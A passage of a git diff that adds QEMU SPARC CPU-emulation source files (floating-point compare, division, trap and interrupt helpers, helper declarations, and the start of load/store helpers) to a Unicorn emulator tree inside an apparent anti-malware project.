check_ieee_exceptions(env); +} + +#define GEN_FCMP(name, size, reg1, reg2, FS, E) \ + void glue(helper_, name) (CPUSPARCState *env) \ + { \ + int ret; \ + clear_float_exceptions(env); \ + if (E) { \ + ret = glue(size, _compare)(reg1, reg2, &env->fp_status); \ + } else { \ + ret = glue(size, _compare_quiet)(reg1, reg2, \ + &env->fp_status); \ + } \ + check_ieee_exceptions(env); \ + switch (ret) { \ + case float_relation_unordered: \ + env->fsr |= (FSR_FCC1 | FSR_FCC0) << FS; \ + env->fsr |= FSR_NVA; \ + break; \ + case float_relation_less: \ + env->fsr &= ~(FSR_FCC1) << FS; \ + env->fsr |= FSR_FCC0 << FS; \ + break; \ + case float_relation_greater: \ + env->fsr &= ~(FSR_FCC0) << FS; \ + env->fsr |= FSR_FCC1 << FS; \ + break; \ + default: \ + env->fsr &= ~((FSR_FCC1 | FSR_FCC0) << FS); \ + break; \ + } \ + } +#define GEN_FCMP_T(name, size, FS, E) \ + void glue(helper_, name)(CPUSPARCState *env, size src1, size src2) \ + { \ + int ret; \ + clear_float_exceptions(env); \ + if (E) { \ + ret = glue(size, _compare)(src1, src2, &env->fp_status); \ + } else { \ + ret = glue(size, _compare_quiet)(src1, src2, \ + &env->fp_status); \ + } \ + check_ieee_exceptions(env); \ + switch (ret) { \ + case float_relation_unordered: \ + env->fsr |= (FSR_FCC1 | FSR_FCC0) << FS; \ + break; \ + case float_relation_less: \ + env->fsr &= ~(FSR_FCC1 << FS); \ + env->fsr |= FSR_FCC0 << FS; \ + break; \ + case float_relation_greater: \ + env->fsr &= ~(FSR_FCC0 << FS); \ + env->fsr |= FSR_FCC1 << FS; \ + break; \ + default: \ + env->fsr &= ~((FSR_FCC1 | FSR_FCC0) << FS); \ + break; \ + } \ + } + +GEN_FCMP_T(fcmps, float32, 0, 0); +GEN_FCMP_T(fcmpd, float64, 0, 0); + +GEN_FCMP_T(fcmpes, float32, 0, 1); +GEN_FCMP_T(fcmped, float64, 0, 1); + +GEN_FCMP(fcmpq, float128, QT0, QT1, 0, 0); +GEN_FCMP(fcmpeq, float128, QT0, QT1, 0, 1); + +#ifdef TARGET_SPARC64 +GEN_FCMP_T(fcmps_fcc1, float32, 22, 0); +GEN_FCMP_T(fcmpd_fcc1, float64, 22, 0); +GEN_FCMP(fcmpq_fcc1, float128, QT0, QT1, 22, 0); + +GEN_FCMP_T(fcmps_fcc2, float32, 24, 0); +GEN_FCMP_T(fcmpd_fcc2, float64, 24, 0); +GEN_FCMP(fcmpq_fcc2, float128, QT0, QT1, 24, 0); + +GEN_FCMP_T(fcmps_fcc3, float32, 26, 0); +GEN_FCMP_T(fcmpd_fcc3, float64, 26, 0); +GEN_FCMP(fcmpq_fcc3, float128, QT0, QT1, 26, 0); + +GEN_FCMP_T(fcmpes_fcc1, float32, 22, 1); +GEN_FCMP_T(fcmped_fcc1, float64, 22, 1); +GEN_FCMP(fcmpeq_fcc1, float128, QT0, QT1, 22, 1); + +GEN_FCMP_T(fcmpes_fcc2, float32, 24, 1); +GEN_FCMP_T(fcmped_fcc2, float64, 24, 1); +GEN_FCMP(fcmpeq_fcc2, float128, QT0, QT1, 24, 1); + +GEN_FCMP_T(fcmpes_fcc3, float32, 26, 1); +GEN_FCMP_T(fcmped_fcc3, float64, 26, 1); +GEN_FCMP(fcmpeq_fcc3, float128, QT0, QT1, 26, 1); +#endif +#undef GEN_FCMP_T +#undef GEN_FCMP + +static inline void set_fsr(CPUSPARCState *env) +{ + int rnd_mode; + + switch (env->fsr & FSR_RD_MASK) { + case FSR_RD_NEAREST: + rnd_mode = float_round_nearest_even; + break; + default: + case FSR_RD_ZERO: + rnd_mode = float_round_to_zero; + break; + case FSR_RD_POS: + rnd_mode = float_round_up; + break; + case FSR_RD_NEG: + rnd_mode = float_round_down; + break; + } + set_float_rounding_mode(rnd_mode, &env->fp_status); +} + +void helper_ldfsr(CPUSPARCState *env, uint32_t new_fsr) +{ + env->fsr = (new_fsr & FSR_LDFSR_MASK) | (env->fsr & FSR_LDFSR_OLDMASK); + set_fsr(env); +} + +#ifdef TARGET_SPARC64 +void helper_ldxfsr(CPUSPARCState *env, uint64_t new_fsr) +{ + env->fsr = (new_fsr & FSR_LDXFSR_MASK) | (env->fsr & FSR_LDXFSR_OLDMASK); + set_fsr(env); +} +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/helper.c new file mode 100644 index 0000000..602a819 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/helper.c @@ -0,0 +1,255 @@ +/* + * Misc Sparc helpers + * + * Copyright (c) 2003-2005 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "qemu/host-utils.h" +#include "exec/helper-proto.h" +#include "sysemu/sysemu.h" + +void helper_raise_exception(CPUSPARCState *env, int tt) +{ + CPUState *cs = CPU(sparc_env_get_cpu(env)); + + cs->exception_index = tt; + cpu_loop_exit(cs); +} + +void helper_debug(CPUSPARCState *env) +{ + CPUState *cs = CPU(sparc_env_get_cpu(env)); + + cs->exception_index = EXCP_DEBUG; + cpu_loop_exit(cs); +} + +#ifdef TARGET_SPARC64 +target_ulong helper_popc(target_ulong val) +{ + return ctpop64(val); +} + +void helper_tick_set_count(void *opaque, uint64_t count) +{ +#if !defined(CONFIG_USER_ONLY) + // cpu_tick_set_count(opaque, count); +#endif +} + +uint64_t helper_tick_get_count(void *opaque) +{ +#if !defined(CONFIG_USER_ONLY) + return 0; //cpu_tick_get_count(opaque); +#else + return 0; +#endif +} + +void helper_tick_set_limit(void *opaque, uint64_t limit) +{ +#if !defined(CONFIG_USER_ONLY) + // cpu_tick_set_limit(opaque, limit); +#endif +} +#endif + +static target_ulong helper_udiv_common(CPUSPARCState *env, target_ulong a, + target_ulong b, int cc) +{ + SPARCCPU *cpu = sparc_env_get_cpu(env); + int overflow = 0; + uint64_t x0; + uint32_t x1; + + x0 = (a & 0xffffffff) | ((uint64_t) (env->y) << 32); + x1 = (b & 0xffffffff); + + if (x1 == 0) { + cpu_restore_state(CPU(cpu), GETPC()); + helper_raise_exception(env, TT_DIV_ZERO); + } + + x0 = x0 / x1; + if (x0 > UINT32_MAX) { + x0 = UINT32_MAX; + overflow = 1; + } + + if (cc) { + env->cc_dst = x0; + env->cc_src2 = overflow; + env->cc_op = CC_OP_DIV; + } + return x0; +} + +target_ulong helper_udiv(CPUSPARCState *env, target_ulong a, target_ulong b) +{ + return helper_udiv_common(env, a, b, 0); +} + +target_ulong helper_udiv_cc(CPUSPARCState *env, target_ulong a, target_ulong b) +{ + return helper_udiv_common(env, a, b, 1); +} + +static target_ulong helper_sdiv_common(CPUSPARCState *env, target_ulong a, + target_ulong b, int cc) +{ + SPARCCPU *cpu = sparc_env_get_cpu(env); + int overflow = 0; + int64_t x0; + int32_t x1; + + x0 = (a & 0xffffffff) | ((uint64_t) (env->y) << 32); + x1 = (b & 0xffffffff); + + if (x1 == 0) { + cpu_restore_state(CPU(cpu), GETPC()); + helper_raise_exception(env, TT_DIV_ZERO); + } else if (x1 == -1 && x0 == INT64_MIN) { + x0 = INT32_MAX; + overflow = 1; + } else { + x0 = x0 / x1; + if ((int32_t) x0 != x0) { + x0 = x0 < 0 ? INT32_MIN : INT32_MAX; + overflow = 1; + } + } + + if (cc) { + env->cc_dst = x0; + env->cc_src2 = overflow; + env->cc_op = CC_OP_DIV; + } + return x0; +} + +target_ulong helper_sdiv(CPUSPARCState *env, target_ulong a, target_ulong b) +{ + return helper_sdiv_common(env, a, b, 0); +} + +target_ulong helper_sdiv_cc(CPUSPARCState *env, target_ulong a, target_ulong b) +{ + return helper_sdiv_common(env, a, b, 1); +} + +#ifdef TARGET_SPARC64 +int64_t helper_sdivx(CPUSPARCState *env, int64_t a, int64_t b) +{ + if (b == 0) { + /* Raise divide by zero trap. */ + SPARCCPU *cpu = sparc_env_get_cpu(env); + + cpu_restore_state(CPU(cpu), GETPC()); + helper_raise_exception(env, TT_DIV_ZERO); + } else if (b == -1) { + /* Avoid overflow trap with i386 divide insn. */ + return -a; + } else { + return a / b; + } +} + +uint64_t helper_udivx(CPUSPARCState *env, uint64_t a, uint64_t b) +{ + if (b == 0) { + /* Raise divide by zero trap. */ + SPARCCPU *cpu = sparc_env_get_cpu(env); + + cpu_restore_state(CPU(cpu), GETPC()); + helper_raise_exception(env, TT_DIV_ZERO); + } + return a / b; +} +#endif + +target_ulong helper_taddcctv(CPUSPARCState *env, target_ulong src1, + target_ulong src2) +{ + SPARCCPU *cpu = sparc_env_get_cpu(env); + target_ulong dst; + + /* Tag overflow occurs if either input has bits 0 or 1 set. */ + if ((src1 | src2) & 3) { + goto tag_overflow; + } + + dst = src1 + src2; + + /* Tag overflow occurs if the addition overflows. */ + if (~(src1 ^ src2) & (src1 ^ dst) & (1u << 31)) { + goto tag_overflow; + } + + /* Only modify the CC after any exceptions have been generated. */ + env->cc_op = CC_OP_TADDTV; + env->cc_src = src1; + env->cc_src2 = src2; + env->cc_dst = dst; + return dst; + + tag_overflow: + cpu_restore_state(CPU(cpu), GETPC()); + helper_raise_exception(env, TT_TOVF); +} + +target_ulong helper_tsubcctv(CPUSPARCState *env, target_ulong src1, + target_ulong src2) +{ + SPARCCPU *cpu = sparc_env_get_cpu(env); + target_ulong dst; + + /* Tag overflow occurs if either input has bits 0 or 1 set. */ + if ((src1 | src2) & 3) { + goto tag_overflow; + } + + dst = src1 - src2; + + /* Tag overflow occurs if the subtraction overflows. */ + if ((src1 ^ src2) & (src1 ^ dst) & (1u << 31)) { + goto tag_overflow; + } + + /* Only modify the CC after any exceptions have been generated. */ + env->cc_op = CC_OP_TSUBTV; + env->cc_src = src1; + env->cc_src2 = src2; + env->cc_dst = dst; + return dst; + + tag_overflow: + cpu_restore_state(CPU(cpu), GETPC()); + helper_raise_exception(env, TT_TOVF); +} + +//#ifndef TARGET_SPARC64 +void helper_power_down(CPUSPARCState *env) +{ + CPUState *cs = CPU(sparc_env_get_cpu(env)); + + cs->halted = 1; + cs->exception_index = EXCP_HLT; + env->pc = env->npc; + env->npc = env->pc + 4; + cpu_loop_exit(cs); +} +//#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/helper.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/helper.h new file mode 100644 index 0000000..503e1e5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/helper.h @@ -0,0 +1,177 @@ +DEF_HELPER_4(uc_tracecode, void, i32, i32, ptr, i64) +DEF_HELPER_1(power_down, void, env) + +#ifndef TARGET_SPARC64 +DEF_HELPER_1(rett, void, env) +DEF_HELPER_2(wrpsr, void, env, tl) +DEF_HELPER_1(rdpsr, tl, env) +#else +DEF_HELPER_2(wrpil, void, env, tl) +DEF_HELPER_2(wrpstate, void, env, tl) +DEF_HELPER_1(done, void, env) +DEF_HELPER_1(retry, void, env) +DEF_HELPER_1(flushw, void, env) +DEF_HELPER_1(saved, void, env) +DEF_HELPER_1(restored, void, env) +DEF_HELPER_1(rdccr, tl, env) +DEF_HELPER_2(wrccr, void, env, tl) +DEF_HELPER_1(rdcwp, tl, env) +DEF_HELPER_2(wrcwp, void, env, tl) +DEF_HELPER_FLAGS_2(array8, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_1(popc, tl, tl) +DEF_HELPER_4(ldda_asi, void, env, tl, int, int) +DEF_HELPER_5(ldf_asi, void, env, tl, int, int, int) +DEF_HELPER_5(stf_asi, void, env, tl, int, int, int) +DEF_HELPER_5(casx_asi, tl, env, tl, tl, tl, i32) +DEF_HELPER_2(set_softint, void, env, i64) +DEF_HELPER_2(clear_softint, void, env, i64) +DEF_HELPER_2(write_softint, void, env, i64) +DEF_HELPER_2(tick_set_count, void, ptr, i64) +DEF_HELPER_1(tick_get_count, i64, ptr) +DEF_HELPER_2(tick_set_limit, void, ptr, i64) +#endif +#if !defined(CONFIG_USER_ONLY) || defined(TARGET_SPARC64) +DEF_HELPER_5(cas_asi, tl, env, tl, tl, tl, i32) +#endif +DEF_HELPER_3(check_align, void, env, tl, i32) +DEF_HELPER_1(debug, void, env) +DEF_HELPER_1(save, void, env) +DEF_HELPER_1(restore, void, env) +DEF_HELPER_3(udiv, tl, env, tl, tl) +DEF_HELPER_3(udiv_cc, tl, env, tl, tl) +DEF_HELPER_3(sdiv, tl, env, tl, tl) +DEF_HELPER_3(sdiv_cc, tl, env, tl, tl) +DEF_HELPER_3(taddcctv, tl, env, tl, tl) +DEF_HELPER_3(tsubcctv, tl, env, tl, tl) +#ifdef TARGET_SPARC64 +DEF_HELPER_3(sdivx, s64, env, s64, s64) +DEF_HELPER_3(udivx, i64, env, i64, i64) +#endif +DEF_HELPER_3(ldqf, void, env, tl, int) +DEF_HELPER_3(stqf, void, env, tl, int) +#if !defined(CONFIG_USER_ONLY) || defined(TARGET_SPARC64) +DEF_HELPER_5(ld_asi, i64, env, tl, int, int, int) +DEF_HELPER_5(st_asi, void, env, tl, i64, int, int) +#endif +DEF_HELPER_2(ldfsr, void, env, i32) +DEF_HELPER_FLAGS_1(fabss, TCG_CALL_NO_RWG_SE, f32, f32) +DEF_HELPER_2(fsqrts, f32, env, f32) +DEF_HELPER_2(fsqrtd, f64, env, f64) +DEF_HELPER_3(fcmps, void, env, f32, f32) +DEF_HELPER_3(fcmpd, void, env, f64, f64) +DEF_HELPER_3(fcmpes, void, env, f32, f32) +DEF_HELPER_3(fcmped, void, env, f64, f64) +DEF_HELPER_1(fsqrtq, void, env) +DEF_HELPER_1(fcmpq, void, env) +DEF_HELPER_1(fcmpeq, void, env) +#ifdef TARGET_SPARC64 +DEF_HELPER_2(ldxfsr, void, env, i64) +DEF_HELPER_FLAGS_1(fabsd, TCG_CALL_NO_RWG_SE, f64, f64) +DEF_HELPER_3(fcmps_fcc1, void, env, f32, f32) +DEF_HELPER_3(fcmps_fcc2, void, env, f32, f32) +DEF_HELPER_3(fcmps_fcc3, void, env, f32, f32) +DEF_HELPER_3(fcmpd_fcc1, void, env, f64, f64) +DEF_HELPER_3(fcmpd_fcc2, void, env, f64, f64) +DEF_HELPER_3(fcmpd_fcc3, void, env, f64, f64) +DEF_HELPER_3(fcmpes_fcc1, void, env, f32, f32) +DEF_HELPER_3(fcmpes_fcc2, void, env, f32, f32) +DEF_HELPER_3(fcmpes_fcc3, void, env, f32, f32) +DEF_HELPER_3(fcmped_fcc1, void, env, f64, f64) +DEF_HELPER_3(fcmped_fcc2, void, env, f64, f64) +DEF_HELPER_3(fcmped_fcc3, void, env, f64, f64) +DEF_HELPER_1(fabsq, void, env) +DEF_HELPER_1(fcmpq_fcc1, void, env) +DEF_HELPER_1(fcmpq_fcc2, void, env) +DEF_HELPER_1(fcmpq_fcc3, void, env) +DEF_HELPER_1(fcmpeq_fcc1, void, env) +DEF_HELPER_1(fcmpeq_fcc2, void, env) +DEF_HELPER_1(fcmpeq_fcc3, void, env) +#endif +DEF_HELPER_2(raise_exception, noreturn, env, int) +#define F_HELPER_0_1(name) DEF_HELPER_1(f ## name, void, env) + +DEF_HELPER_3(faddd, f64, env, f64, f64) +DEF_HELPER_3(fsubd, f64, env, f64, f64) +DEF_HELPER_3(fmuld, f64, env, f64, f64) +DEF_HELPER_3(fdivd, f64, env, f64, f64) +F_HELPER_0_1(addq) +F_HELPER_0_1(subq) +F_HELPER_0_1(mulq) +F_HELPER_0_1(divq) + +DEF_HELPER_3(fadds, f32, env, f32, f32) +DEF_HELPER_3(fsubs, f32, env, f32, f32) +DEF_HELPER_3(fmuls, f32, env, f32, f32) +DEF_HELPER_3(fdivs, f32, env, f32, f32) + +DEF_HELPER_3(fsmuld, f64, env, f32, f32) +DEF_HELPER_3(fdmulq, void, env, f64, f64) + +DEF_HELPER_FLAGS_1(fnegs, TCG_CALL_NO_RWG_SE, f32, f32) +DEF_HELPER_2(fitod, f64, env, s32) +DEF_HELPER_2(fitoq, void, env, s32) + +DEF_HELPER_2(fitos, f32, env, s32) + +#ifdef TARGET_SPARC64 +DEF_HELPER_FLAGS_1(fnegd, TCG_CALL_NO_RWG_SE, f64, f64) +DEF_HELPER_1(fnegq, void, env) +DEF_HELPER_2(fxtos, f32, env, s64) +DEF_HELPER_2(fxtod, f64, env, s64) +DEF_HELPER_2(fxtoq, void, env, s64) +#endif +DEF_HELPER_2(fdtos, f32, env, f64) +DEF_HELPER_2(fstod, f64, env, f32) +DEF_HELPER_1(fqtos, f32, env) +DEF_HELPER_2(fstoq, void, env, f32) +DEF_HELPER_1(fqtod, f64, env) +DEF_HELPER_2(fdtoq, void, env, f64) +DEF_HELPER_2(fstoi, s32, env, f32) +DEF_HELPER_2(fdtoi, s32, env, f64) +DEF_HELPER_1(fqtoi, s32, env) +#ifdef TARGET_SPARC64 +DEF_HELPER_2(fstox, s64, env, f32) +DEF_HELPER_2(fdtox, s64, env, f64) +DEF_HELPER_1(fqtox, s64, env) + +DEF_HELPER_FLAGS_2(fpmerge, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(fmul8x16, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(fmul8x16al, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(fmul8x16au, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(fmul8sux16, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(fmul8ulx16, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(fmuld8sux16, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(fmuld8ulx16, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(fexpand, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_3(pdist, TCG_CALL_NO_RWG_SE, i64, i64, i64, i64) +DEF_HELPER_FLAGS_2(fpack16, TCG_CALL_NO_RWG_SE, i32, i64, i64) +DEF_HELPER_FLAGS_3(fpack32, TCG_CALL_NO_RWG_SE, i64, i64, i64, i64) +DEF_HELPER_FLAGS_2(fpackfix, TCG_CALL_NO_RWG_SE, i32, i64, i64) +DEF_HELPER_FLAGS_3(bshuffle, TCG_CALL_NO_RWG_SE, i64, i64, i64, i64) +#define VIS_HELPER(name) \ + DEF_HELPER_FLAGS_2(f ## name ## 16, TCG_CALL_NO_RWG_SE, \ + i64, i64, i64) \ + DEF_HELPER_FLAGS_2(f ## name ## 16s, TCG_CALL_NO_RWG_SE, \ + i32, i32, i32) \ + DEF_HELPER_FLAGS_2(f ## name ## 32, TCG_CALL_NO_RWG_SE, \ + i64, i64, i64) \ + DEF_HELPER_FLAGS_2(f ## name ## 32s, TCG_CALL_NO_RWG_SE, \ + i32, i32, i32) + +VIS_HELPER(padd) +VIS_HELPER(psub) +#define VIS_CMPHELPER(name) \ + DEF_HELPER_FLAGS_2(f##name##16, TCG_CALL_NO_RWG_SE, \ + i64, i64, i64) \ + DEF_HELPER_FLAGS_2(f##name##32, TCG_CALL_NO_RWG_SE, \ + i64, i64, i64) +VIS_CMPHELPER(cmpgt) +VIS_CMPHELPER(cmpeq) +VIS_CMPHELPER(cmple) +VIS_CMPHELPER(cmpne) +#endif +#undef F_HELPER_0_1 +#undef VIS_HELPER +#undef VIS_CMPHELPER +DEF_HELPER_1(compute_psr, void, env) +DEF_HELPER_1(compute_C_icc, i32, env) diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/int32_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/int32_helper.c new file mode 100644 index 0000000..4a34a71 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/int32_helper.c @@ -0,0 +1,95 @@ +/* + * Sparc32 interrupt helpers + * + * Copyright (c) 2003-2005 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "sysemu/sysemu.h" + + +void sparc_cpu_do_interrupt(CPUState *cs) +{ + SPARCCPU *cpu = SPARC_CPU(cs->uc, cs); + CPUSPARCState *env = &cpu->env; + int cwp, intno = cs->exception_index; + + /* Compute PSR before exposing state. */ + if (env->cc_op != CC_OP_FLAGS) { + cpu_get_psr(env); + } + +#if !defined(CONFIG_USER_ONLY) + if (env->psret == 0) { + if (cs->exception_index == 0x80 && + env->def->features & CPU_FEATURE_TA0_SHUTDOWN) { + qemu_system_shutdown_request(); + } else { + cpu_abort(cs, "Trap 0x%02x while interrupts disabled, Error state", + cs->exception_index); + } + return; + } +#endif + env->psret = 0; + cwp = cpu_cwp_dec(env, env->cwp - 1); + cpu_set_cwp(env, cwp); + env->regwptr[9] = env->pc; + env->regwptr[10] = env->npc; + env->psrps = env->psrs; + env->psrs = 1; + env->tbr = (env->tbr & TBR_BASE_MASK) | (intno << 4); + env->pc = env->tbr; + env->npc = env->pc + 4; + cs->exception_index = -1; +} + +#if !defined(CONFIG_USER_ONLY) +static void leon3_cache_control_int(CPUSPARCState *env) +{ + uint32_t state = 0; + + if (env->cache_control & CACHE_CTRL_IF) { + /* Instruction cache state */ + state = env->cache_control & CACHE_STATE_MASK; + if (state == CACHE_ENABLED) { + state = CACHE_FROZEN; + //trace_int_helper_icache_freeze(); + } + + env->cache_control &= ~CACHE_STATE_MASK; + env->cache_control |= state; + } + + if (env->cache_control & CACHE_CTRL_DF) { + /* Data cache state */ + state = (env->cache_control >> 2) & CACHE_STATE_MASK; + if (state == CACHE_ENABLED) { + state = CACHE_FROZEN; + //trace_int_helper_dcache_freeze(); + } + + env->cache_control &= ~(CACHE_STATE_MASK << 2); + env->cache_control |= (state << 2); + } +} + +void leon3_irq_manager(CPUSPARCState *env, void *irq_manager, int intno) +{ + //leon3_irq_ack(irq_manager, intno); + leon3_cache_control_int(env); +} +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/int64_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/int64_helper.c new file mode 100644 index 0000000..7eba49c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/int64_helper.c @@ -0,0 +1,128 @@ +/* + * Sparc64 interrupt helpers + * + * Copyright (c) 2003-2005 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/helper-proto.h" + + +void sparc_cpu_do_interrupt(CPUState *cs) +{ + SPARCCPU *cpu = SPARC_CPU(cs->uc, cs); + CPUSPARCState *env = &cpu->env; + int intno = cs->exception_index; + trap_state *tsptr; + + /* Compute PSR before exposing state. */ + if (env->cc_op != CC_OP_FLAGS) { + cpu_get_psr(env); + } + +#if !defined(CONFIG_USER_ONLY) + if (env->tl >= env->maxtl) { + cpu_abort(cs, "Trap 0x%04x while trap level (%d) >= MAXTL (%d)," + " Error state", cs->exception_index, env->tl, env->maxtl); + return; + } +#endif + if (env->tl < env->maxtl - 1) { + env->tl++; + } else { + env->pstate |= PS_RED; + if (env->tl < env->maxtl) { + env->tl++; + } + } + tsptr = cpu_tsptr(env); + + tsptr->tstate = (cpu_get_ccr(env) << 32) | + ((env->asi & 0xff) << 24) | ((env->pstate & 0xf3f) << 8) | + cpu_get_cwp64(env); + tsptr->tpc = env->pc; + tsptr->tnpc = env->npc; + tsptr->tt = intno; + + switch (intno) { + case TT_IVEC: + cpu_change_pstate(env, PS_PEF | PS_PRIV | PS_IG); + break; + case TT_TFAULT: + case TT_DFAULT: + case TT_TMISS: case TT_TMISS+1: case TT_TMISS+2: case TT_TMISS+3: + case TT_DMISS: case TT_DMISS+1: case TT_DMISS+2: case TT_DMISS+3: + case TT_DPROT: case TT_DPROT+1: case TT_DPROT+2: case TT_DPROT+3: + cpu_change_pstate(env, PS_PEF | PS_PRIV | PS_MG); + break; + default: + cpu_change_pstate(env, PS_PEF | PS_PRIV | PS_AG); + break; + } + + if (intno == TT_CLRWIN) { + cpu_set_cwp(env, cpu_cwp_dec(env, env->cwp - 1)); + } else if ((intno & 0x1c0) == TT_SPILL) { + cpu_set_cwp(env, cpu_cwp_dec(env, env->cwp - env->cansave - 2)); + } else if ((intno & 0x1c0) == TT_FILL) { + cpu_set_cwp(env, cpu_cwp_inc(env, env->cwp + 1)); + } + env->tbr &= ~0x7fffULL; + env->tbr |= ((env->tl > 1) ? 1 << 14 : 0) | (intno << 5); + env->pc = env->tbr; + env->npc = env->pc + 4; + cs->exception_index = -1; +} + +trap_state *cpu_tsptr(CPUSPARCState* env) +{ + return &env->ts[env->tl & MAXTL_MASK]; +} + +static bool do_modify_softint(CPUSPARCState *env, uint32_t value) +{ + if (env->softint != value) { + env->softint = value; +#if !defined(CONFIG_USER_ONLY) + if (cpu_interrupts_enabled(env)) { + //cpu_check_irqs(env); + } +#endif + return true; + } + return false; +} + +void helper_set_softint(CPUSPARCState *env, uint64_t value) +{ + if (do_modify_softint(env, env->softint | (uint32_t)value)) { + //trace_int_helper_set_softint(env->softint); + } +} + +void helper_clear_softint(CPUSPARCState *env, uint64_t value) +{ + if (do_modify_softint(env, env->softint & (uint32_t)~value)) { + //trace_int_helper_clear_softint(env->softint); + } +} + +void helper_write_softint(CPUSPARCState *env, uint64_t value) +{ + if (do_modify_softint(env, (uint32_t)value)) { + //trace_int_helper_write_softint(env->softint); + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/ldst_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/ldst_helper.c new file mode 100644 index 0000000..94f75d0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/ldst_helper.c @@ -0,0 +1,2460 @@ +/* + * Helpers for loads and stores + * + * Copyright (c) 2003-2005 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/helper-proto.h" +#include "exec/cpu_ldst.h" + +//#define DEBUG_MMU +//#define DEBUG_MXCC +//#define DEBUG_UNALIGNED +//#define DEBUG_UNASSIGNED +//#define DEBUG_ASI +//#define DEBUG_CACHE_CONTROL + +#ifdef DEBUG_MMU +#define DPRINTF_MMU(fmt, ...) \ + do { printf("MMU: " fmt , ## __VA_ARGS__); } while (0) +#else +#define DPRINTF_MMU(fmt, ...) do {} while (0) +#endif + +#ifdef DEBUG_MXCC +#define DPRINTF_MXCC(fmt, ...) \ + do { printf("MXCC: " fmt , ## __VA_ARGS__); } while (0) +#else +#define DPRINTF_MXCC(fmt, ...) do {} while (0) +#endif + +#ifdef DEBUG_ASI +#define DPRINTF_ASI(fmt, ...) \ + do { printf("ASI: " fmt , ## __VA_ARGS__); } while (0) +#endif + +#ifdef DEBUG_CACHE_CONTROL +#define DPRINTF_CACHE_CONTROL(fmt, ...) \ + do { printf("CACHE_CONTROL: " fmt , ## __VA_ARGS__); } while (0) +#else +#define DPRINTF_CACHE_CONTROL(fmt, ...) do {} while (0) +#endif + +#ifdef TARGET_SPARC64 +#ifndef TARGET_ABI32 +#define AM_CHECK(env1) ((env1)->pstate & PS_AM) +#else +#define AM_CHECK(env1) (1) +#endif +#endif + +#define QT0 (env->qt0) +#define QT1 (env->qt1) + +#if defined(TARGET_SPARC64) && !defined(CONFIG_USER_ONLY) +/* Calculates TSB pointer value for fault page size 8k or 64k */ +static uint64_t ultrasparc_tsb_pointer(uint64_t tsb_register, + uint64_t tag_access_register, + int page_size) +{ + uint64_t tsb_base = tsb_register & ~0x1fffULL; + int tsb_split = (tsb_register & 0x1000ULL) ? 1 : 0; + int tsb_size = tsb_register & 0xf; + + /* discard lower 13 bits which hold tag access context */ + uint64_t tag_access_va = tag_access_register & ~0x1fffULL; + + /* now reorder bits */ + uint64_t tsb_base_mask = ~0x1fffULL; + uint64_t va = tag_access_va; + + /* move va bits to correct position */ + if (page_size == 8*1024) { + va >>= 9; + } else if (page_size == 64*1024) { + va >>= 12; + } + + if (tsb_size) { + tsb_base_mask <<= tsb_size; + } + + /* calculate tsb_base mask and adjust va if split 